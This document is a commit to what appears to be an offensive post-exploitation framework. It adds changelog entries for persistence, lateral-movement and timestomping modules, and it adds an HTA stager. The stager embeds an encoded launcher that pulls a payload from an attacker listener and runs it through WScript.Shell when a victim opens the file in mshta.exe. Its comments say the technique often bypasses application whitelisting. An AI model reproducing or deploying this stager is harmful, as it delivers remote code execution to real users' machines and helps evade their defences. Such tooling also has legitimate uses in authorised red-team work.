Create hta.py

2015-08-16 07:35:46 -06:00 · 2015-08-16 07:35:46 -06:00 · 1d37d7702a
parent 6ddce8bb7e
commit 1d37d7702a
2 changed files with 100 additions and 0 deletions
--- a/11
+++ b/11
@ -1,6 +1,17 @@
+============
+8/16/2015 - RELEASE 1.1
+============
+-Encompasses all changes below
+--- Crypto patch to prevent DOS condition
+--- Numerous bug fixes throughout code
+--- Extra modules added and HTA stager
+--- Ability for agents to die after certain number of failed checkins
+--- Added ability to easily remove "stale" agents
+
 8/15/2015
 ---------
 -Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner, lateral_movement/invoke_psexec
+-Accepted HTA Stager from subtee

 8/12/2015
 --------
--- a/lib/stagers/hta.py
+++ b/lib/stagers/hta.py
@ -0,0 +1,89 @@
+from lib.common import helpers
+
+class Stager:
+
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'HTA',
+
+            'Author': ['@subTee'],
+
+            'Description': ('Generates an HTA (HyperText Application) For Internet Explorer'),
+
+            'Comments': [
+                'You will need to deliver a url to the target to launch the HTA.  Often bypasses Whitelists since it is executed by mshta.exe'
+            ]
+        }
+
+        # any options needed by the stager, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Listener' : {
+                'Description'   :   'Listener to generate stager for.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'OutFile' : {
+                'Description'   :   'File to output HTA to, otherwise displayed on the screen.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Base64' : {
+                'Description'   :   'Switch. Base64 encode the output.',
+                'Required'      :   True,
+                'Value'         :   'True'
+            },            
+            'UserAgent' : {
+                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            },
+            'Proxy' : {
+                'Description'   :   'Proxy to use for request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            },
+            'ProxyCreds' : {
+                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+
+    def generate(self):
+
+        # extract all of our options
+        listenerName = self.options['Listener']['Value']
+        base64 = self.options['Base64']['Value']
+        userAgent = self.options['UserAgent']['Value']
+        proxy = self.options['Proxy']['Value']
+        proxyCreds = self.options['ProxyCreds']['Value']
+
+        encode = False
+        if base64.lower() == "true":
+            encode = True
+
+        # generate the launcher code
+        launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
+
+        if launcher == "":
+            print helpers.color("[!] Error in launcher command generation.")
+            return ""
+		else:
+			code = "<html><head><script>var c= '"
+			code += launcher + "'\n"
+			code += "new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>"
+        return code